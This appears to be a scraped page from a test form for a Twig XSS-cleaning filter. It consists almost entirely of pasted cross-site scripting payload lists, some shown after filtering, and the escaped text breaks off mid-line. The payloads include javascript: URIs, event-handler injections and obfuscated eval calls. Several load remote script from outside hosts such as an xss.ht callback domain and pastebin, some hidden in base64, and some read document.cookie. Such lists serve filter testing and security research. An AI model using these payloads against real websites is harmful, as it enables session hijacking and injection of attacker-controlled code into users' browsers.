SRC=\\\"%(scriptlet)s\\\"></LAYER>\\r\\n<LINK REL=\\\"stylesheet\\\" HREF=\\\"javascript:javascript:alert(1);\\\">\\r\\n<STYLE>@import\\\'%(css)s\\\';</STYLE>\\r\\n<META HTTP-EQUIV=\\\"Link\\\" Content=\\\"<%(css)s>; REL=stylesheet\\\">\\r\\n<XSS STYLE=\\\"behavior: url(%(htc)s);\\\">\\r\\n<STYLE>li {list-style-image: url(\\\"javascript:javascript:alert(1)\\\");}</STYLE><UL><LI>XSS\\r\\n<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=javascript:javascript:alert(1);\\\">\\r\\n<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0; URL=http://;URL=javascript:javascript:alert(1);\\\">\\r\\n<IFRAME SRC=\\\"javascript:javascript:alert(1);\\\"></IFRAME>\\r\\n<TABLE BACKGROUND=\\\"javascript:javascript:alert(1)\\\">\\r\\n<TABLE><TD BACKGROUND=\\\"javascript:javascript:alert(1)\\\">\\r\\n<DIV STYLE=\\\"background-image: url(javascript:javascript:alert(1))\\\">\\r\\n<DIV STYLE=\\\"width:expression(javascript:alert(1));\\\">\\r\\n<IMG STYLE=\\\"xss:expr/*XSS*/ession(javascript:alert(1))\\\">\\r\\n<XSS STYLE=\\\"xss:expression(javascript:alert(1))\\\">\\r\\n<STYLE TYPE=\\\"text/javascript\\\">javascript:alert(1);</STYLE>\\r\\n<STYLE>.XSS{background-image:url(\\\"javascript:javascript:alert(1)\\\");}</STYLE><A CLASS=XSS></A>\\r\\n<STYLE type=\\\"text/css\\\">BODY{background:url(\\\"javascript:javascript:alert(1)\\\")}</STYLE>\\r\\n<!--[if gte IE 4]><SCRIPT>javascript:alert(1);</SCRIPT><![endif]-->\\r\\n<BASE HREF=\\\"javascript:javascript:alert(1);//\\\">\\r\\n<OBJECT TYPE=\\\"text/x-scriptlet\\\" DATA=\\\"%(scriptlet)s\\\"></OBJECT>\\r\\n<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1)></OBJECT>\\r\\n<HTML xmlns:xss><?import namespace=\\\"xss\\\" implementation=\\\"%(htc)s\\\"><xss:xss>XSS</xss:xss></HTML>\\\"\\\"\\\",\\\"XML namespace.\\\"),(\\\"\\\"\\\"<XML ID=\\\"xss\\\"><I><B><IMG SRC=\\\"javas<!-- -->cript:javascript:alert(1)\\\"></B></I></XML><SPAN DATASRC=\\\"#xss\\\" DATAFLD=\\\"B\\\" DATAFORMATAS=\\\"HTML\\\"></SPAN>\\r\\n<HTML><BODY><?xml:namespace prefix=\\\"t\\\" ns=\\\"urn:schemas-microsoft-com:time\\\"><?import namespace=\\\"t\\\" implementation=\\\"#default#time2\\\"><t:set attributeName=\\\"innerHTML\\\" to=\\\"XSS<SCRIPT DEFER>javascript:alert(1)</SCRIPT>\\\"></BODY></HTML>\\r\\n<SCRIPT SRC=\\\"%(jpg)s\\\"></SCRIPT>\\r\\n<HEAD><META HTTP-EQUIV=\\\"CONTENT-TYPE\\\" CONTENT=\\\"text/html; charset=UTF-7\\\"> </HEAD>+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4-\\r\\n<form id=\\\"test\\\" /><button form=\\\"test\\\" formaction=\\\"javascript:javascript:alert(1)\\\">X\\r\\n<body onscroll=javascript:alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\\r\\n<P STYLE=\\\"behavior:url(\\\'#default#time2\\\')\\\" end=\\\"0\\\" onEnd=\\\"javascript:alert(1)\\\">\\r\\n<STYLE>@import\\\'%(css)s\\\';</STYLE>\\r\\n<STYLE>a{background:url(\\\'s1\\\' \\\'s2)}@import javascript:javascript:alert(1);\\\');}</STYLE>\\r\\n<meta charset= \\\"x-imap4-modified-utf7\\\"&&>&&<script&&>javascript:alert(1)&&;&&<&&/script&&>\\r\\n<SCRIPT onreadystatechange=javascript:javascript:alert(1);></SCRIPT>\\r\\n<style onreadystatechange=javascript:javascript:alert(1);></style>\\r\\n<?xml version=\\\"1.0\\\"?><html:html xmlns:html=\\\'http://www.w3.org/1999/xhtml\\\'><html:script>javascript:alert(1);</html:script></html:html>\\r\\n<embed code=%(scriptlet)s></embed>\\r\\n<embed code=javascript:javascript:alert(1);></embed>\\r\\n<embed src=%(jscript)s></embed>\\r\\n<frameset onload=javascript:javascript:alert(1)></frameset>\\r\\n<object onerror=javascript:javascript:alert(1)>\\r\\n<embed type=\\\"image\\\" src=%(scriptlet)s></embed>\\r\\n<XML ID=I><X><C><![CDATA[<IMG SRC=\\\"javas]]<![CDATA[cript:javascript:alert(1);\\\">]]</C><X></xml>\\r\\n<IMG SRC=&{javascript:alert(1);};>\\r\\n<a href=\\\"javAascript:javascript:alert(1)\\\">test1</a>\\r\\n<a href=\\\"javaascript:javascript:alert(1)\\\">test1</a>\\r\\n<embed width=500 height=500 code=\\\"data:text/html,<script>%(payload)s</script>\\\"></embed>\\r\\n<iframe srcdoc=\\\"<iframe/srcdoc=&lt;img/src=&apos;&apos;onerror=javascript:alert(1)&gt;>\\\">\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\';alert(String.fromCharCode(88,83,83))//\\\";\\r\\nalert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//--\\r\\n></SCRIPT>\\\">\\\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
keyword(s): z
description: <style></style\\\\x3E<img src=\\\"about:blank\\\" =(1)//></style>\\r\\n<style></style\\\\x0D<img src=\\\"about:blank\\\" =(1)//></style>\\r\\n<style></style\\\\x09<img src=\\\"about:blank\\\" =(1)//></style>\\r\\n<style></style\\\\x20<img src=\\\"about:blank\\\" =(1)//></style>\\r\\n<style></style\\\\x0A<img src=\\\"about:blank\\\" =(1)//></style>\\r\\n\\\"\\\'`>ABC<div style=\\\"font-family:\\\'foo\\\'\\\\x7Dx:(1);/*\\\';\\\">DEF \\r\\n\\\"\\\'`>ABC<div style=\\\"font-family:\\\'foo\\\'\\\\x3Bx:(1);/*\\\';\\\">DEF \\r\\nif(\\\"x\\\\\\\\xE1\\\\x96\\\\x89\\\".length==2) { (1);}\\r\\nif(\\\"x\\\\\\\\xE0\\\\xB9\\\\x92\\\".length==2) { (1);}\\r\\nif(\\\"x\\\\\\\\xEE\\\\xA9\\\\x93\\\".length==2) { (1);}\\r\\n\\\'`\\\"><\\\\x3Cscript>(1)\\r\\n\\\'`\\\"><\\\\x00script>(1)\\r\\n\\\"\\\'`><\\\\x3Cimg src=xxx:x =(1)>\\r\\n\\\"\\\'`><\\\\x00img src=xxx:x =(1)>\\r\\n<script src=\\\"%(base64)s\\\">\\r\\n<embed src=\\\"%(base64)s\\\">\\r\\n<b alert(1)0\\r\\n<div id=\\\"div1\\\"><input value=\\\"``=(1)\\\"></div> <div id=\\\"div2\\\"></div>document.getElementById(\\\"div2\\\") = document.getElementById(\\\"div1\\\");\\r\\n<x \\\'=\\\"foo\\\"><x foo=\\\'><img src=x =(1)//\\\'>\\r\\n<embed src=\\\"(1)\\\">\\r\\n<img src=\\\"(1)\\\">\\r\\n<image src=\\\"(1)\\\">\\r\\n<script src=\\\"(1)\\\">\\r\\n<div style=width:1px;filter:glow =(1)>x\\r\\n<? foo=\\\">(1)\\\">\\r\\n<! foo=\\\">(1)\\\">\\r\\n</ foo=\\\">(1)\\\">\\r\\n<? foo=\\\"><x foo=\\\'?>(1)\\\'>\\\">\\r\\n<! foo=\\\"[[[Inception]]\\\"><x foo=\\\"]foo>(1)\\\">\\r\\n<% foo><x foo=\\\"%>(1)\\\">\\r\\n<div id=d><x xmlns=\\\"><iframe =(1)\\\"></div> d=d\\r\\n<img \\\\x00src=x =\\\"alert(1)\\\">\\r\\n<img \\\\x47src=x =\\\"(1)\\\">\\r\\n<img \\\\x11src=x =\\\"(1)\\\">\\r\\n<img \\\\x12src=x =\\\"(1)\\\">\\r\\n<img\\\\x47src=x =\\\"(1)\\\">\\r\\n<img\\\\x10src=x =\\\"(1)\\\">\\r\\n<img\\\\x13src=x =\\\"(1)\\\">\\r\\n<img\\\\x32src=x =\\\"(1)\\\">\\r\\n<img\\\\x47src=x =\\\"(1)\\\">\\r\\n<img\\\\x11src=x =\\\"(1)\\\">\\r\\n<img \\\\x47src=x =\\\"(1)\\\">\\r\\n<img \\\\x34src=x =\\\"(1)\\\">\\r\\n<img \\\\x39src=x =\\\"(1)\\\">\\r\\n<img \\\\x00src=x =\\\"(1)\\\">\\r\\n<img src\\\\x09=x =\\\"(1)\\\">\\r\\n<img src\\\\x10=x =\\\"(1)\\\">\\r\\n<img src\\\\x13=x =\\\"(1)\\\">\\r\\n<img src\\\\x32=x =\\\"(1)\\\">\\r\\n<img src\\\\x12=x =\\\"(1)\\\">\\r\\n<img src\\\\x11=x =\\\"(1)\\\">\\r\\n<img src\\\\x00=x =\\\"(1)\\\">\\r\\n<img src\\\\x47=x =\\\"(1)\\\">\\r\\n<img src=x\\\\x09=\\\"(1)\\\">\\r\\n<img src=x\\\\x10=\\\"(1)\\\">\\r\\n<img src=x\\\\x11=\\\"(1)\\\">\\r\\n<img src=x\\\\x12=\\\"(1)\\\">\\r\\n<img src=x\\\\x13=\\\"(1)\\\">\\r\\n<img[a][b][c]src[d]=x[e]=[f]\\\"alert(1)\\\">\\r\\n<img src=x =\\\\x09\\\"(1)\\\">\\r\\n<img src=x =\\\\x10\\\"(1)\\\">\\r\\n<img src=x =\\\\x11\\\"(1)\\\">\\r\\n<img src=x =\\\\x12\\\"(1)\\\">\\r\\n<img src=x =\\\\x32\\\"(1)\\\">\\r\\n<img src=x =\\\\x00\\\"(1)\\\">\\r\\n<a href=javascript:(1)>XXX</a>\\r\\n<img src=\\\"x` `(1)\\\"` `>\\r\\n<img src /\\\" \\\'\\\"= alt=(1)//\\\">\\r\\n<title =(1)></title><title title=>\\r\\n<a href=http://foo.bar/#x=`y></a><img alt=\\\"`><img src=x:x =(1)></a>\\\">\\r\\n<!--[if]>(1)</script -->\\r\\n<!--[if<img src=x =(1)//]> -->\\r\\n<script src=\\\"/\\\\%(jscript)s\\\">\\r\\n<script src=\\\"\\\\\\\\%(jscript)s\\\">\\r\\n<object id=\\\"x\\\" classid=\\\"clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598\\\"></object> <object classid=\\\"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B\\\" =\\\"(1)\\\" style=\\\"(#x);\\\"><param name=postdomevents /></object>\\r\\n<a style=\\\"-o-link:\\\'(1)\\\';-o-link-source:current\\\">X\\r\\n<style>p[foo=bar{}*{-o-link:\\\'(1)\\\'}{}*{-o-link-source:current}]{color:red};</style>\\r\\n<link rel=stylesheet href=data:,*%7bx:(1))%7d\\r\\n<style>@import \\\"data:,*%7bx:(1))%7D\\\";</style>\\r\\n<a style=\\\"pointer-events:none;position:absolute;\\\"><a style=\\\"position:absolute;\\\" =\\\"(1);\\\">XXX</a></a><a href=\\\"(1)\\\">XXX</a>\\r\\n<style>*[{}@import\\\'%(css)s?]</style>X\\r\\n<div style=\\\"font-family:\\\'foo ;color:red;\\\';\\\">XXX\\r\\n<div style=\\\"font-family:foo}color=red;\\\">XXX\\r\\n<// style=x:expression\\\\28(1)\\\\29>\\r\\n<style>*{x:ｅｘｐｒｅｓｓｉｏｎ((1))}</style>\\r\\n<div style=content:url(%(svg)s)></div>\\r\\n<div style=\\\"list-style:url(http://foo.f)\\\\20url((1));\\\">X\\r\\n<div id=d><div style=\\\"font-family:\\\'sans\\\\27\\\\3B color\\\\3Ared\\\\3B\\\'\\\">X</div></div> with(document.getElementById(\\\"d\\\"))innerHTML=innerHTML\\r\\n<div style=\\\"background:url(/f#oo/;color:red/*/foo.jpg);\\\">X\\r\\n<div style=\\\"font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);\\\">X\\r\\n<div id=\\\"x\\\">XXX</div> <style> #x{font-family:foo[bar;color:green;} #y];color:red;{} </style>\\r\\n<x style=\\\"background:url(\\\'x;color:red;/*\\\')\\\">XXX</x>\\r\\n({set/**/$($){_/**/setter=$,_=(1)}}).$=eval\\r\\n({0:#0=eval/#0#/#0#((1))})\\r\\nReferenceError.prototype.__defineGetter__(\\\'name\\\', function(){(1)}),x\\r\\nObject.__noSuchMethod__ = Function,[{}][0].constructor._(\\\'(1)\\\')()\\r\\n<meta charset=\\\"x-imap4-modified-utf7\\\">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi\\r\\n<meta charset=\\\"x-imap4-modified-utf7\\\">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>\\r\\n<meta charset=\\\"mac-farsi\\\">%(payload)s;\\r\\n<form id=\\\"test\\\" /><button form=\\\"test\\\" formaction=\\\"(1)\\\">X\\r\\n<body =(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\\r\\n<P STYLE=\\\"(\\\'#default#time2\\\')\\\" end=\\\"0\\\" =\\\"(1)\\\">\\r\\n<STYLE>@import\\\'%(css)s\\\';</STYLE>\\r\\n<STYLE>a{background:url(\\\'s1\\\' \\\'s2)}@import (1);\\\');}</STYLE>\\r\\n<meta charset= \\\"x-imap4-modified-utf7\\\"&&>&&<script&&>(1)&&;&&<&&/script&&>\\r\\n<SCRIPT =(1);>\\r\\n<style =(1);></style>\\r\\n<?xml version=\\\"1.0\\\"?><html:html xmlns:html=\\\'http://www.w3.org/1999/xhtml\\\'><html:script>(1);</html:script></html:html>\\r\\n<embed code=%(scriptlet)s></embed>\\r\\n<embed code=(1);></embed>\\r\\n<embed src=%(jscript)s></embed>\\r\\n<frameset =(1)></frameset>\\r\\n<object =(1)>\\r\\n<embed type=\\\"image\\\" src=%(scriptlet)s></embed>\\r\\n<XML ID=I><X><C><![CDATA[<IMG SRC=\\\"javas]]<![CDATA[cript:(1);\\\">]]</C><X></xml>\\r\\n<IMG SRC=&{(1);};>\\r\\n<a href=\\\"javAascript:(1)\\\">test1</a>\\r\\n<a href=\\\"javaascript:(1)\\\">test1</a>\\r\\n<embed width=500 height=500 code=\\\"data:text/html,%(payload)s\\\"></embed>\\r\\n<iframe srcdoc=\\\"<iframe/srcdoc=![]()
>\\\">\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\';alert(String.fromCharCode(88,83,83))//\\\";\\r\\nalert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//--\\r\\n>\\\">\\\'>alert(String.fromCharCode(88,83,83))
by z | at 2021-08-19 09:42:09
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
: \\\\\\\');confirm(1);//\\r\\n\\r\\n<svg \\\\r\\\\n=$.globalEval(\\\"al\\\"+\\\"ert()\\\");>\\r\\n?\\\"><base c==href=https:\\\\mysite>\\r\\n\\r\\n\\r\\n![]()
\\x=">"
result with twig: {{ xss.xss | escape }}:
: \\\\\\\');confirm(1);//\\r\\n<x/onmouSeenter=window[`\\\\x61\\\\x6c\\\\x65\\\\x72\\\\x74`]`1337`\\r\\n<script>prompt(1)</script> \\r\\n<script>confirm(1)</script>\\r\\n<script>var fn=window[490837..toString(1<<5)]; fn(atob(\\\'YWxlcnQoMSk=\\\'));</script> \\r\\n<script>var fn=window[String.fromCharCode(101,118,97,108)]; fn(atob(\\\'YWxlcnQoMSk=\\\'));</script> \\r\\n<script>var fn=window[atob(\\\'ZXZhbA==\\\')];fn(atob(\\\'YWxlcnQoMSk=\\\')); </script>\\r\\n<script>window[490837..toString(1<<5)](atob(\\\'YWxlcnQoMSk=\\\'))</script> <script>this[490837..toString(1<<5)](atob(\\\'YWxlcnQoMSk=\\\'))</script> <script>this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]](++[[]][+[]])</script> <script>this[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]]((-~[]+[]))</script> \\r\\n<script>\\\'str1ng\\\'.replace(/1/,alert)</script> <script>\\\'bbbalert(1)cccc\\\'.replace(/a\\\\w{4}\\\\(\\\\d\\\\)/,eval)</script> <script>\\\'a1l2e3r4t6\\\'.replace(/(.).(.).(.).(.).(.)/,function(match,$1,$2,$3,$4,$5) { this[$1+$2+$3+$4+$5](1); })</script> \\r\\n<script>eval(\\\'\\\\\\\\u\\\'+\\\'0061\\\'+\\\'lert(1)\\\')</script> <script>throw~delete~typeof~prompt(1)</script> <script>delete[a=alert]/prompt a(1)</script> <script>delete[a=this[atob(\\\'YWxlcnQ=\\\')]]/prompt a(1)</script> <script>(()=>{return this})().alert(1)</script> \\r\\n<script>new function(){new.target.constructor(\\\'alert(1)\\\')();}</script> <script>Reflect.construct(function(){new.target.constructor(\\\'alert(1)\\\')()},[])</script> \\r\\n<link/rel=prefetch import href=data:q;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg>\\r\\n<link rel=\\\"import\\\" href=\\\"data:x,<script>alert(1)</script> <script>Array.from1${alert}3${window}2</script> \\r\\n<script>!{x(){alert(1)}}.x()</script> <script>Array.from${eval}alert\\\\1\\\\``</script> <script>Array.from([1],alert)</script> <script>Promise.reject(\\\"1\\\").then(null,alert)</script> \\r\\n<svg </onload =\\\"1> (_=alert,_(1)) \\\"\\\"> \\r\\njavascript:/*--></title></style></textarea></script></xmp><svg/onload=\\\'+/\\\"/+/onmouseover=1/+/[*/[]/+alert(1)//\\\'> \\r\\n<marquee loop=1 width=0 onfinish=alert(1)>\\r\\n<p onbeforescriptexecute=\\\"alert(1)\\\"><svg><script>\\\\</p> \\r\\n<img onerror=alert(1) src <u></u> <videogt;<source onerror=javascript:prompt(911)gt; \\r\\n<base target=\\\"<script>alert(1)</script>\\\"><a href=\\\"javascript:name\\\">CLICK</a> \\r\\n<base href=\\\"javascript:/\\\"><a href=\\\"**/alert(1)\\\"><base href=\\\"javascript:/\\\"><a href=\\\"**/alert(1)\\\"> \\r\\n<style>@KeyFrames x{</style><div style=animation-name:x onanimationstart=alert(1)> < \\r\\n<script>\\r\\n${``[class extends[alert``]{}]}\\r\\n</script> <script>[class extends[alert``]{}]</script> \\r\\n<script>throw new class extends Function{}(\\\'alert(1)\\\')``</script> <script>x=new class extends Function{}(\\\'alert(1)\\\'); x=new x;</script> <script>new class extends alert(1){}</script> \\r\\n<script>new class extends class extends class extends class extends alert(1){}{}{}{}</script> \\r\\n<script>new Image()[unescape(\\\'%6f%77%6e%65%72%44%6f%63%75%6d%65%6e%74\\\')][atob(\\\'ZGVmYXVsdFZpZXc=\\\')][8680439..toString(30)](1)</script> <script src=data:,\\\\u006fnerror=\\\\u0061lert(1)></script> \\r\\n\\\"><svg><script/xlink:href=\\\"data:,alert(1) <svg><script/xlink:href=data:,alert(1)></script> <frameset/onpageshow=alert(1)> \\r\\n<div onactivate=alert(\\\'Xss\\\') id=xss style=overflow:scroll> \\r\\n<div onfocus=alert(\\\'xx\\\') id=xss style=display:table>\\r\\n\\\"><script src=https://hackeroneofjaaah.xss.ht></script>\\r\\njavascript:eval(\\\'var a=document.createElement(\\\\\\\'script\\\\\\\');a.src=\\\\\\\'https://hackeroneofjaaah.xss.ht\\\\\\\';document.body.appendChild(a)\\\')\\r\\n\\\"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vaGFja2Vyb25lb2ZqYWFhaC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>\\r\\n\\\"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vaGFja2Vyb25lb2ZqYWFhaC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>\\r\\n\\\"><iframe srcdoc=\\\"<script>var a=parent.document.createElement("script");a.src="https://hackeroneofjaaah.xss.ht";parent.document.body.appendChild(a);</script>\\\">\\r\\n<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener(\\\"load\\\", b);a.open(\\\"GET\\\", \\\"//hackeroneofjaaah.xss.ht\\\");a.send();</script>\\r\\n<script>$.getScript(\\\"//hackeroneofjaaah.xss.ht\\\")</script>\\r\\n><object+data=//14.rs>\\r\\n><script src=//pastebin.com/raw/WDWWYaLA></script>\\r\\n<img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)>\\r\\n</script><svg><script>alert(1)-%26apos%3B\\r\\nanythinglr00</script><script>alert(document.domain)</script>uxldz\\r\\nanythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz\\r\\n<object data=\\\'data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\\\'></object>\\r\\n<svg onload\\\\r\\\\n=$.globalEval(\\\"al\\\"+\\\"ert()\\\");>\\r\\n?\\\"></script><base%20c%3D=href%3Dhttps:\\\\mysite>\\r\\n<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>\\r\\n<a href=javascript:alert(1)>\\r\\n<Img src = x onerror = \\\"javascript: window.onerror = alert; throw XSS\\\">\\r\\n<Video> <source onerror = \\\"javascript: alert (XSS)\\\">\\r\\n<Input value = \\\"XSS\\\" type = text>\\r\\n<applet code=\\\"javascript:confirm(document.cookie);\\\">\\r\\n<isindex x=\\\"javascript:\\\" onmouseover=\\\"alert(XSS)\\\">\\r\\n\\\"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>\\r\\n\\\"><img src=\\\"x:x\\\" onerror=\\\"alert(XSS)\\\">\\r\\n\\\"><iframe src=\\\"javascript:alert(XSS)\\\">\\r\\n<object data=\\\"javascript:alert(XSS)\\\">\\r\\n<isindex type=image src=1 onerror=alert(XSS)>\\r\\n<img src=x:alert(alt) onerror=eval(src) alt=0>\\r\\n<img src=\\\"x:gif\\\" onerror=\\\"window[\\\'al\\\\u0065rt\\\'](0)\\\"></img>\\r\\n<iframe/src=\\\"data:text/html,<svg onload=alert(1)>\\\">\\r\\n<meta content=\\\"
 1 
; JAVASCRIPT: alert(1)\\\" http-equiv=\\\"refresh\\\"/>\\r\\n<svg><script xlink:href=data:,window.open(\\\'https://www.google.com/\\\')></script\\r\\n<meta http-equiv=\\\"refresh\\\" content=\\\"0;url=javascript:confirm(1)\\\">\\r\\n<iframe src=javascript:alert(document.location)>\\r\\n<form><a href=\\\"javascript:\\\\u0061lert(1)\\\">X\\r\\n</script><img/*%00/src=\\\"worksinchrome:prompt(1)\\\"/%00*/onerror=\\\'eval(src)\\\'>\\r\\n<style>//*{x:expression(alert(/xss/))}//<style></style>\\r\\nOn Mouse Over \\r\\n<img src=\\\"/\\\" =_=\\\" title=\\\"onerror=\\\'prompt(1)\\\'\\\">\\r\\n<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe\\r\\n<script x> alert(1) </script 1=2\\r\\n<form><button formaction=javascript:alert(1)>CLICKME\\r\\n<input/onmouseover=\\\"javaSCRIPT:confirm(1)\\\"\\r\\n<iframe src=\\\"data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E\\\"></iframe>\\r\\n<OBJECT CLASSID=\\\"clsid:333C7BC4-460F-11D0-BC04-0080C7055A83\\\"><PARAM NAME=\\\"DataURL\\\" VALUE=\\\"javascript:alert(1)\\\"></OBJECT>\\r\\n<iframe srcdoc=\\\"<svg/onload=alert()>\\\">\\r\\n</script><svg><script>alert(1)-%26apos%3B\\r\\nanythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz\\r\\n<object data=\\\'data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\\\'></object>\\r\\n<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>\\r\\n<a href=javascript:alert(1)>\\r\\n\\r\\njavascript:alert(\\\"OfJAAH\\\"):\\r\\n<style>@keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}`>\\r\\n<d3v/onauxclick=[2].some(confirm)>click\\r\\n<marquee+loop=1+width=0+onfinish=\\\'new+Function`al\\\\ert\\\\`1\\\\``\\\'>\\r\\n{1==1}\\\"><object+data=javascript%26colon%3b\\\'str1ng\\\'.replace(\\\'1\\\',alert)>\\r\\n\\\'><img src=x onError=prompt(\\\"OpenBugBounty\\\")>\\r\\n\\\'><img+sRc=l+oNerrOr=prompt(document.cookie)+x>\\r\\n\\\"><object+data=javascript%26%63%6f%6c%6f%6e%3b\\\'straccessng\\\'.replace(\\\'access\\\',alert)>\\r\\n<svg/ \\\\/\\\\/%20%20%20%20%20onload%20%20%20%20%20 =%20%20%20%20%20%20%20 window[490837..toString(1<<5)](atob(\\\'YWxlcnQoMSk=\\\'))>\\r\\n<svg/ subsoloprivxss \\\\/\\\\/%20%20%20%20%20onload%20%20%20%20%20 =%20%20%20%20%20%20%20 window[490837..toString(1<<5)](atob(\\\'YWxlcnQoMSk=\\\'))>\\r\\n<script>x = \\\'<!--<script>\\\'/*</script>-->*/;alert(1)</script\\r\\n<svg onload=\\\"import(\\\'data:text/javascript,al\\\'+\\\'\\\'+\\\'ert(0)\\\')\\\">\\r\\n<image src\\\\r\\\\n=valid.jpg onloadend=\\\'new class extends (co\\\\u006efir\\\\u006d)/**/`` {}\\\'>\\r\\n<details/open/ontoggle=\\\"self[\\\'wind\\\'%2b\\\'ow\\\'][\\\'one\\\'%2b\\\'rror\\\']=self[\\\'wind\\\'%2b\\\'ow\\\'][\\\'ale\\\'%2b\\\'rt\\\'];throw/**/self[\\\'doc\\\'%2b\\\'ument\\\'][\\\'domain\\\'];\\\">\\r\\n<</p>iframe src=javascript:alert()//\\r\\n<bleh/onclick=top[/al/.source+/ert/.source]	``>click\\r\\n<head></head><body>padding<bleh onclick=\\\"top[/al/.source+/ert/.source] ``\\\">clickpadding</bleh></body>\\r\\n<details onauxclick=confirm`xss`></details>\\r\\n<frameset onpageshow=alert(1)>\\r\\n<svg onunload=http://window.open (\\\'javascript:alert(1)\\\')>\\r\\n<xss class=progress-bar-animated onanimationstart=alert(1)>\\r\\n<xss<script>>&28;prompt();&28;<</script>/xss>\\r\\n<svg><b><style><img id=\\\"</style><img src=1 onerror=alert(1)>\\\">\\r\\n<img%20id=%26%23x101;%20src=x%20onerror=%26%23x101;;alert`1`;>\\r\\n<svg%0Aonauxclick=0;[1].some(confirm)//\\r\\n<</div>script</div>>alert()<</div>/script</div>>\\r\\n<svg onload=alert(1)>\\r\\n\\\"><svg onload=alert(1)>\\r\\n</tag><svg onload=alert(1)>\\r\\n\\\"></tag><svg onload=alert(1)>\\r\\n\\\"onmouseover=alert(1) //\\r\\n\\\"autofocus onfocus=alert(1) //\\r\\n<img src=something onauxclick=\\\"new Function `al\\\\ert\\\\`xss\\\\``\\\">\\r\\n<svg id=javascript:alert(10) onload=location=id>\\r\\n<svg/onload=%26nbsp;alert`bohdan`+\\r\\n1\\\'\\\"><img/src/onerror=.1|alert``>\\r\\n<img src=\\\"img-src\\\" onloadstart=\\\"alert(45)\\\">\\r\\n<img src=\\\"img-src\\\" onloadend=\\\"alert(45)\\\">\\r\\n<img src onerror=%26emsp;prompt`${document.domain}`>\\r\\n\\\'-alert(1)-\\\'\\r\\n\\\'-alert(1)//\\r\\n\\\\\\\'-alert(1)//\\r\\n</script><svg onload=alert(1)>\\r\\n\\\'}alert(1);{\\\'\\r\\n\\\'}alert(1)%0A{\\\'\\r\\n\\\\\\\'}alert(1);{//\\r\\n-alert(1)//\\\\\\r\\n-alert(1)}//\\\\\\r\\n${alert(1)}\\r\\n\\\'onload=alert(1)><svg/1=\\\'\\r\\n\\\'>alert(1)</script><script/1=\\\'\\r\\n*/alert(1)</script><script>/*\\r\\n*/alert(1)\\\">\\\'onload=\\\"/*<svg/1=\\\'\\r\\n`-alert(1)\\\">\\\'onload=\\\"`<svg/1=\\\'\\r\\n*/</script>\\\'>alert(1)/*<script/1=\\\'\\r\\np=<svg/1=\\\'&q=\\\'onload=alert(1)>\\r\\np=<svg 1=\\\'&q=\\\'onload=\\\'/*&r=*/alert(1)\\\'>\\r\\nq=<script/&q=/src=data:&q=alert(1)>\\r\\n\\\"><svg onload=alert(1)>.gif\\r\\n<svg xmlns=\\\"http://www.w3.org/2000/svg\\\" onload=\\\"alert(1)\\\"/>\\r\\n<img src=1 onerror=alert(1)>\\r\\n<iframe src=javascript:alert(1)>\\r\\n<details open ontoggle=alert(1)>\\r\\n<svg><svg onload=alert(1)>\\r\\ndata:text/html,<img src=1 onerror=alert(1)>\\r\\ndata:text/html,<iframe src=javascript:alert(1)>\\r\\n><svg onload=alert(1)>?a=reader\\r\\n<script src=data:,alert(1)>\\r\\n<script src=//brutelogic.com.br/1.js>\\r\\n<iframe src=TARGET_URL 